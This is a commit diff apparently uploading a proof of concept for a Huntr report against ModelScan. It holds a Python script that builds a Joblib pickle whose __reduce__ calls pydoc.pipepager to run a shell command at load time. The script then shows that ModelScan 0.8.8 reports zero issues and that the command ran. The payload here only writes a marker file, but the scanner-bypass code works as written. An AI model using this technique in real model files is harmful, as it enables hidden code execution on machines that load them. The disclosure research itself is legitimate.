Upload 4 files

README.md

@@ -0,0 +1,26 @@
+---
+library_name: joblib
+tags:
+- security-research
+- huntr
+- modelscan
+- joblib
+---
+
+# Joblib pydoc.pipepager ModelScan bypass PoC
+
+This repository contains a restrained proof of concept for an authorized Huntr security report against ModelScan's Joblib scanning path.
+
+Do not load `poc_pydoc_pipepager_bypass.joblib` outside an isolated test environment. The payload demonstrates load-time execution by writing the marker file `/tmp/modelscan_joblib_pydoc_pipepager_marker`.
+
+Files:
+
+- `poc_pydoc_pipepager_bypass.joblib`: minimal Joblib payload.
+- `poc_joblib_pydoc_pipepager_bypass.py`: generator and verifier script.
+- `poc_pydoc_pipepager_bypass.modelscan.json`: ModelScan 0.8.8 JSON output showing zero detected issues.
+
+SHA-256 for `poc_pydoc_pipepager_bypass.joblib`:
+
+```text
+5ac854e4906c2688de5df48130a789bd4c14f1b255b36a3e0d784bdd8f02a271
+```

poc_joblib_pydoc_pipepager_bypass.py

@@ -0,0 +1,83 @@
+from __future__ import annotations
+
+import json
+import os
+import pickletools
+import shutil
+import subprocess
+from pathlib import Path
+
+import joblib
+import pydoc
+
+
+ROOT = Path(__file__).resolve().parent
+PAYLOAD = ROOT / "poc_pydoc_pipepager_bypass.joblib"
+REPORT = ROOT / "poc_pydoc_pipepager_bypass.modelscan.json"
+MARKER = Path("/tmp/modelscan_joblib_pydoc_pipepager_marker")
+
+
+class PipePagerPayload:
+    def __reduce__(self):
+        command = f"printf modelscan-joblib-pydoc-pipepager > {MARKER}"
+        return pydoc.pipepager, ("", command)
+
+
+def main() -> None:
+    MARKER.unlink(missing_ok=True)
+    joblib.dump(PipePagerPayload(), PAYLOAD)
+
+    payload = PAYLOAD.read_bytes()
+    print(f"wrote {PAYLOAD}")
+    print("pickle globals:")
+    for opcode, arg, position in pickletools.genops(payload):
+        if opcode.name in {"GLOBAL", "STACK_GLOBAL"}:
+            print(f"  {position}: {opcode.name} {arg!r}")
+
+    modelscan_bin = (
+        os.environ.get("MODELSCAN_BIN")
+        or shutil.which("modelscan")
+        or str(ROOT / ".venv312" / "bin" / "modelscan")
+    )
+    scan = subprocess.run(
+        [
+            modelscan_bin,
+            "--path",
+            str(PAYLOAD),
+            "--reporting-format",
+            "json",
+            "--output-file",
+            str(REPORT),
+        ],
+        check=False,
+        capture_output=True,
+        text=True,
+    )
+    print("modelscan binary:", scan.args[0])
+    print("modelscan exit:", scan.returncode)
+    report = json.loads(REPORT.read_text())
+    print(
+        "modelscan summary:",
+        json.dumps(
+            {
+                "total_issues": report["summary"]["total_issues"],
+                "total_issues_by_severity": report["summary"][
+                    "total_issues_by_severity"
+                ],
+                "errors": report["errors"],
+                "skipped": report["summary"].get("skipped", {}),
+            },
+            indent=2,
+        ),
+    )
+
+    print("marker exists before joblib.load:", MARKER.exists())
+    result = joblib.load(PAYLOAD)
+    print("joblib.load returned:", result)
+    print("marker exists after joblib.load:", MARKER.exists())
+    if MARKER.exists():
+        print("marker content:", MARKER.read_text())
+
+
+if __name__ == "__main__":
+    main()

poc_pydoc_pipepager_bypass.joblib

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:5ac854e4906c2688de5df48130a789bd4c14f1b255b36a3e0d784bdd8f02a271
+size 130

poc_pydoc_pipepager_bypass.modelscan.json

@@ -0,0 +1 @@
+{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "/Users/chrisparker/Documents/Codex/2026-05-12/task-authorized-vulnerability-research-on-huntr-3/modelscan/poc_pydoc_pipepager_bypass.joblib", "absolute_path": "/Users/chrisparker/Documents/Codex/2026-05-12/task-authorized-vulnerability-research-on-huntr-3/modelscan", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T20:46:50.145415", "scanned": {"total_scanned": 1, "scanned_files": ["poc_pydoc_pipepager_bypass.joblib"]}}, "issues": [], "errors": []}